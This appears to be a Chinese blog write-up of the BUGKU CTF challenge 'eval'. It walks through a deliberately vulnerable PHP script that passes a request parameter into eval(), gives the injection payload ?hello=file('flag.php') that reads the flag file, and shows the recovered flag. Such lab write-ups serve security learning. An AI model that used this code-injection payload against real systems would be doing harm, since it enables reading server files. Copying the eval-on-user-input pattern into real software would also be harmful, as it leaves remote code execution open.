当前位置:   article > 正文

BUGKU-WEB eval

BUGKU-WEB eval

题目描述

题目截图如下:
在这里插入图片描述

进入场景看看:
在这里插入图片描述

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

解题思路

  • PHP代码审计咯

相关工具

  • 百度搜索PHP相关知识

解题步骤

分析脚本就行:
1. include "flag.php"; 引入了一个名为 flag.php 的文件。
2. $a = @$_REQUEST['hello']; HTTP 请求的参数中获取名为 hello 的值,并将其赋给变量 $a。也就是说:request是要请求得到hello的信息,及a=的是hello的信息,而不是hello本身.

/?hello=
  • 1
  1. eval( "var_dump($a);"); 使用 eval() 函数将 $a 的值作为 PHP 代码执行,并将结果打印出来。试试?
/?hello=flag.php
  • 1

在这里插入图片描述
并么有出现,那可能是hello的值有问题,不能直接这么写?

因为flag.php是一个文件,所以需要使用file()函数来读取:

/?hello=file('flag.php')
  • 1

在这里插入图片描述

  1. show_source(__FILE__); 将当前文件的源代码输出到浏览器。这意味着我们可以直接查看该脚本的代码。

得到Flag

flag{7536e9c02aaf8a3ee1dc88e1f5018f27}
  • 1

在这里插入图片描述

新知识点

  • var_dump()会将传入的变量打印到页面(变量类型,变量长度和变量值)

  • eval()会执行传入到其中的php代码

  • echo输出的是最终的结果(变量类型和字符串)

  • file():把整个文件读入一个数组中。数组中的每个单元都是文件中相应的一行,包括换行符在内。

需要把PHP基础学习一下,这很多都是关于PHP的基础代码审计!也不难!

有用的话,请点赞收藏评论,帮助更多的同学哦

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/110110?site
推荐阅读
相关标签
  

闽ICP备14008679号